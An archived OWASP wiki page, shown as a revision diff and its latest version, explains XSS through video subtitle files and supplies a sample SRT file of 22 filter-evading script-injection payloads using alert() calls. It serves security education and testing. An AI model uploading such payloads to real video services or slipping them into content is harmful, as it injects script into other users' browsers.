This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Difference between revisions of "Xss in subtitle"
(Created page with "==Description== It is possible for an attacker to execute JavaScript in a subtitle's videos. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle...") |
|||
| (2 intermediate revisions by the same user not shown) | |||
| Line 1: | Line 1: | ||
==Description== | ==Description== | ||
| − | It is possible for an attacker to execute JavaScript in a | + | It is possible for an attacker to execute JavaScript in a video's subtitle. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle separately in browser then a attacker can run any html or javascript in video subtitle. It has been tested on some video services. |
==Examples == | ==Examples == | ||
| − | the attacker can upload | + | the attacker can save the mentioned contents below by the format of srt and upload prepared srt file as a video's subtitles<br><br> |
| | ||
| Line 143: | Line 143: | ||
<br> | <br> | ||
| − | = | + | = Authors and Primary Editors = |
| − | + | Mohammad MortazaviZade - [email protected]<br/> | |
| − | [[XSS Attacks]] | + | ==Related [[Attacks]]== |
| + | * [[XSS Attacks]] | ||
| + | * [[:Category:Injection Attack]] | ||
| + | * [[Invoking untrusted mobile code]] | ||
| + | * [[Cross Site History Manipulation (XSHM)]] | ||
| − | ==Related Vulnerabilities== | + | ==Related [[Vulnerabilities]]== |
| − | + | * [[:Category:Input Validation Vulnerability]] | |
| − | + | * [[Cross Site Scripting Flaw]] | |
| + | * [[Types of Cross-Site Scripting]] | ||
| + | ==Related [[Controls]]== | ||
| + | * [[:Category:Input Validation]] | ||
| + | * [[HTML Entity Encoding]] | ||
| + | * [[Output Validation]] | ||
| + | * [[Canonicalization]] | ||
==Categories== | ==Categories== | ||
| − | + | [[Category:Injection]] | |
| + | [[Category:Attack]] | ||
| + | [[Category:Code Snippet]] | ||
{{Template:Stub}} | {{Template:Stub}} | ||
| − | |||
| − | |||
Latest revision as of 11:27, 21 November 2017
Description
It is possible for an attacker to execute JavaScript in a video's subtitle. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle separately in browser then a attacker can run any html or javascript in video subtitle. It has been tested on some video services.
Examples
the attacker can save the mentioned contents below by the format of srt and upload prepared srt file as a video's subtitles
1
00:00:37,618 --> 00:00:42,557
<font color="#ffff00">: '';!--"<XSS>=&{()}</font>
2
00:00:58,425 --> 00:01:00,704
<IMG SRC="javascript:alert('XSS');">
3
00:01:00,705 --> 00:01:01,873
<IMG SRC=javascript:alert('XSS')>
4
00:01:02,225 --> 00:01:04,519
<IMG SRC=javascript:alert('XSS')>
5
00:01:04,520 --> 00:01:05,547
<IMG SRC=javascript:alert('XSS')>
6
00:01:05,864 --> 00:01:08,117
<IMG SRC=javascript:alert('XSS')>
7
00:01:08,224 --> 00:01:09,223
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
8
00:01:09,224 --> 00:01:10,434
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
9
00:01:11,384 --> 00:01:12,427
<IMG SRC=# onmouseover="alert('xxs')">
10
00:01:15,504 --> 00:01:17,506
<IMG SRC= onmouseover="alert('xxs')">
11
00:01:19,743 --> 00:01:20,786
<IMG onmouseover="alert('xxs')">
12
00:01:24,183 --> 00:01:25,351
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
13
00:01:40,663 --> 00:01:41,705
<img src=x onerror="javascript:alert('XSS')">
14
00:01:42,703 --> 00:01:45,742
<IMG SRC=javascript:alert(
'XSS')>
15
00:01:45,743 --> 00:01:46,285
<IMG SRC=javascript:a&
#0000108ert('XSS')>
16
00:01:48,503 --> 00:01:49,545
<IMG SRC=javascript:alert('XSS')>
17
00:01:49,582 --> 00:01:51,709
<IMG SRC=javascript:alert('XSS')>
18
00:01:54,822 --> 00:01:58,200
<IMG SRC="jav ascript:alert('XSS');">
19
00:02:01,021 --> 00:02:03,691
<IMG SRC="jav
ascript:alert('XSS');">
20
00:02:04,702 --> 00:02:05,744
<IMG SRC="jav
ascript:alert('XSS');">
21
00:02:15,700 --> 00:02:18,536
<IMG SRC="javascript:alert('XSS')"
22
00:02:18,740 --> 00:02:22,619
\";alert('XSS');//
Authors and Primary Editors
Mohammad MortazaviZade - [email protected]
Related Attacks
- XSS Attacks
- Category:Injection Attack
- Invoking untrusted mobile code
- Cross Site History Manipulation (XSHM)
Related Vulnerabilities
Related Controls
Categories
This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.
